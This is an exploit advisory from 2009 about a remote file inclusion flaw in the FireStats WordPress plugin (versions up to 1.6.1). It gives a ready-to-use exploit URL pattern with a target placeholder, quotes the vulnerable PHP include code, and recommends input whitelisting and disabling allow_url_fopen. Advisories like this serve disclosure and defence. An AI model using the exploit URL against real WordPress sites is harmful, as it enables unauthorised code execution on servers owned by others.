[»]===============================================================================================================[_][-][X]
[»] [»]
[»] WordPress Plugin FireStats <= 1.6.1-stable (fs_javascript) RFI Vulnerability [»]
[»] [»]
[»] ======= ------d-------m------ ==== ==== [»]
[»] || = | |(o o)| | || || || [»]
[»] || = ||(~)|| || || [»]
[»] ======= /|\ || || [»]
[»]=====================================================================================================================[»]
[»] Author : darkmasking [»]
[»] Date : June, 13th 2009 [»]
[»] Contact : darkmasking[at]gmail.com [»]
[»] Critical Level : Dangerous *red* [»]
[»]---------------------------------------------------------------------------------------------------------------------[»]
[»] Affected software description : [»]
[»] Software : FireStats Version 1.6.1-stable [FireStats is a web statistics system] [»]
[»] Vendor : http://firestats.cc/ [»]
[»] Price : $25.00 ( commercial usage ) [»]
[»]=====================================================================================================================[»]
[»] [»]
[»] [~] RFI : [»]
[»] [»]
[»] http://www.TARGET.com/[path]/wp-content/plugins/firestats/firestats-wordpress.php?fs_javascript=[darkc0de] [»]
[»] [»]
[»]---------------------------------------------------------------------------------------------------------------------[»]
[»] [»]
[»] [~] Vuln : firestats-wordpress.php :Line 36 [»]
[»] [»]
[»] $path = fs_get_firestats_path(); [»]
[»] $file = $_GET['fs_javascript']; [»]
[»] unset($_GET['fs_javascript']); [»]
[»] if (strpos($file,"..") !== false) die(".. is not allowed in fs_javascript"); [»]
[»] require_once("$path/$file"); [»]
[»] [»]
[»]---------------------------------------------------------------------------------------------------------------------[»]
[»] [»]
[»] [~] Vulnerability description : [»]
[»] [»]
[»] This script is possibly vulnerable to file inclusion attacks. [»]
[»] [»]
[»] It seems that this script includes a file which name is determined using user-supplied data. [»]
[»] This data is not properly validated before being passed to the include function. [»]
[»] [»]
[»]---------------------------------------------------------------------------------------------------------------------[»]
[»] [»]
[»] [~] How to fix this vulnerability : [»]
[»] [»]
[»] Edit the source code to ensure that input is properly validated. Where is possible, [»]
[»] it is recommended to make a list of accepted filenames and restrict the input to that list. [»]
[»] [»]
[»] For PHP, the option allow_url_fopen would normally allow a programmer to open, [»]
[»] include or otherwise use a remote file using a URL rather than a local file path. [»]
[»] It is recommended to disable this option from php.ini. [»]
[»] [»]
[»]---------------------------------------------------------------------------------------------------------------------[»]
[»] [»]
[»] [~] Greetz : [»]
[»] [»]
[»] Sorry bro lom ada teman jadi tuk diri sendiri aja! [»]
[»] [»]
[»] [»]
[»]=====================================================================================================================[»]
0 条评论。